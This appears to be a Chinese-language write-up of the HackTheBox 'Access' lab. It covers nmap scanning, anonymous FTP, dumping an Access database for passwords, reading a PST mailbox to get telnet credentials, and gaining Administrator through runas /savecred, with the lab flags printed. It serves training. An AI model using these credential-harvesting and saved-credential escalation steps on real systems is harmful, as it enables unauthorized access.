

# Access(完成),有runas

```
└─# nmap -sCV -p 21,23,80 -A 10.10.10.98
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-11 11:44 EDT
Nmap scan report for 10.10.10.98
Host is up (0.24s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_  SYST: Windows_NT
23/tcp    open  telnet   Microsoft Windows XP telnetd
| telnet-ntlm-info:
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp    open  http     Microsoft IIS httpd 7.5
|_ http-server-header: Microsoft-IIS/7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_ http-title: MegaCorp
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1
cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone
7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or
Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft
Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or
Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or
Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
```

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows\_xp

Host script results:

l\_clock-skew: -3s

TRACEROUTE (using port 80/tcp)

HOP	RTT	ADDRESS
1	250.82 ms	10.10.14.1
2	251.95 ms	10.10.10.98

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 20.50 seconds

目錄爆破無資料

## 21 PORT

```
(root@kali) [~]
# ftp anonymous@10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM <DIR> Backups
08-24-18 10:00PM <DIR> Engineer
226 Transfer complete.
ftp> 
```

兩組文件

```
(root@kali) [~/htb/Access]
# ls
'Access Control.zip' backup.mdb
```

使用一般unzip解不開，

嘗試使用7z就正常，但需要密碼

```
(root@kali)-[~/htb/Access]
# 7z x Access_Control.zip

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=zh_TW.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access_Control.zip
--
Path = Access_Control.zip
Type = zip
Physical Size = 10870

Enter password (will not be echoed):
```

另一組是資料庫

```
(root@kali)-[~/htb/Access]
# file backup.mdb
backup.mdb: Microsoft Access Database
```

參考：<https://www.kali.org/tools/mdbtools/>

```
(root@kali)-[~/htb/Access]
# mdb-tables backup.mdb
Completing external command
mdb-array      mdb-count      mdb-export      mdb-header      mdb-hexdump      mdb-json      mdb-parsecsv      mdb-prop      mdb-queries      mdb-schema      mdb-sql      mdb-tables      mdb-ver
```

太多資料表=.

```
➤ mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholid
ay ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalalog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_permissions base_addition
data base_appotion base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds
bak django_contenttype django_session EmPlog emptendefine EXCMOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DETL operat
ecmds personnel_area personnel_cardtype personnel_empchange personnel_leaveLog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBMSMALLOT TBMSMINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO useri
nfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msstype worktable_usmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_
viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard ImpPermitGroups ImpPermitUsers ImpPermitDoors ParamSet
acc_reader acc_auxiliary STD_WiegandFmt CustomReport Reportfield BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
```

執行指令整理

```
cat tables | tr ' ' '\n' > tables_db
```

執行表+列整合匯出

執行指令整理

```
└─# cat test_db.sh
```

```
#!/bin/bash
```

```
file="/root/htb/Access/tables_db"
```

```
for i in $(cat "$file")
```

```
do
```

```
    echo "$i"
```

```
    mdb-export backup.mdb "$i"
```

```
    echo #
```

```
done
```

```

└─# bash test_db.sh
acc_antiback
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,device_id,one_mode,two_mode,three_mode,four_mode,five_mode,six_mode,seven_mode,eight_mode,nine_mode,AntibackType

acc_door
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,device_id,door_no,door_name,lock_delay,back_lock,sensor_delay,opendoor_type,inout_state,lock_active_id,long_open_id,wiegand_fmt_id,card_interv
alltime,reader_type,is_att,door_sensor_status,map_id,duration_apb,force_pwd,supper_pwd,reader_io_state,open_door_delay,door_normal_open,enable_normal_open,disenable_normal_open,wiegandIntType,wiegandOutType,wiegand_fmt_out_id,SRBOn,Manual
CtlMode,ErrTimes,SensorAlarmTime,InTimeAPB

acc_firstopen
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,door_id,timeseg_id

acc_firstopen_emp
id,accfirstopen_id,employee_id

acc_holidays
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,holiday_name,holiday_type,start_date,end_date,loop_by_year,memo,HolidayNo,HolidayTZ

acc_interlock
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,device_id,one_mode,two_mode,three_mode,four_mode,InterlockType

acc_levelset
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,level_name,level_timeseg_id

acc_levelset_door_group
id,acclevelset_id,acddoor_id,acddoor_no_exp,acddoor_device_id,level_timeseg_id

acc_linkageio
id,change_operator,change_time,create_operator,create_time,delete_operator,delete_time,status,linkage_name,device_id,trigger_out,in_address,hide_in_address,out_type,hide_out_address,hide_out_address,action_type,delay_time,video,linkageio

```

找到需要的資料表和列

auth\_user

id,username,password,Status,last\_login,RoleID,Remark

查詢資料

```

└─# mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, <=壓縮檔密碼
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

```

```

(root@kali)~[/htb/Access]
└─# file 'Access Control.pst'
Access Control.pst: Microsoft Outlook Personal Storage (≥2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
(root@kali)~[/htb/Access]

```

因為pst檔需讀取參考工具：<https://www.kali.org/tools/libpst/>

能知道主旨，但沒辦法知道文件

```

└─# readpst 'Access Control.pst'
Opening PST file and indexes ...
Processing Folder "Deleted Items"
    "Access Control" - 2 items done, 0 items skipped.

(root@kali)~[/htb/Access]
└─# lspst 'Access Control.pst'
Email    From: john@megacorp.com Subject: MegaCorp Access Control System "security" account

```

發現多一個文件

```

(root@kali)~[/htb/Access]
└─# ls
'Access Control.mbox'

```

裡面內容包含帳密，可能是Telnet帳密

username : security

passwd : 4Cc3ssC0ntr0ller

登入成功

```
# telnet 10.10.10.98
Trying 10.10.10.98 ...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security
password:

*=====
Microsoft Telnet Server.
*=====
C:\Users\security>ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\security>id
'id' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\security>whoami
access\security
```

user flag

```
C:\Users\security\Desktop>type user.txt
89162bc435e8b17a87ba6c574f7b2428
```

提權

上傳漏洞版本、掃描，全都失敗，都無權限執行。。

C:\Users>systeminfo

Host Name:	ACCESS
OS Name:	Microsoft Windows Server 2008 R2 Standard
OS Version:	6.1.7600 N/A Build 7600

在public的桌面發現檔案，裡面看起來可執行檔案

有帶出 /user:access\Administrator /savecred

```
Directory of C:\Users\Public\Desktop
08/22/2018 10:18 PM 1,870 ZKAccess3.5 Security System.lnk
1 File(s) 1,870 bytes
0 Dir(s) 3,284,910,880 bytes free

C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
Lefg *?***?***?P?P? *!+00*/C:/RIM*/Windows***/?/*?wWindowsVIMV*System32***?/*W**System32/X2P*+
runas.exe***:1**!+Yrunas.exe/L-***P*/C:/Windows/System32/runas.exe#-\\-\\-\\Windows/System32/runas.exeC:/ZKAccess3.56/use
C:/ACCESS/Administrator /savecred "C:/ZKAccess3.5/Access.exe" "C:/ZKAccess3.5/img/AccessNET.ico"SystemDrive%\ZKAccess3.5/img/AccessNET.ico*%
se_***0{E*3
  Oj)ei***
  )U[*_***0{E*3
  Oj)ei***
  )U[*_**1SPS**XF*L8C***0M*e+S-1-5-21-953262931-566350628-63446256-500
C:\Users\Public\Desktop>
```

參考：

[https://docs.google.com/document/d/1nI3ihnjMsHFRxs9ePT\\_AW2DbMKrgSrmoW0CYCwfuDS0/edit](https://docs.google.com/document/d/1nI3ihnjMsHFRxs9ePT_AW2DbMKrgSrmoW0CYCwfuDS0/edit)

將root.txt複製到外面文件

```
runas /user:access\Administrator /savecred "cmd /c type  
C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Videos\t.txt"
```

---

root flag

```
C:\Users\security\Videos>type t.txt  
84bb6d980fb738280443efe6485b671b
```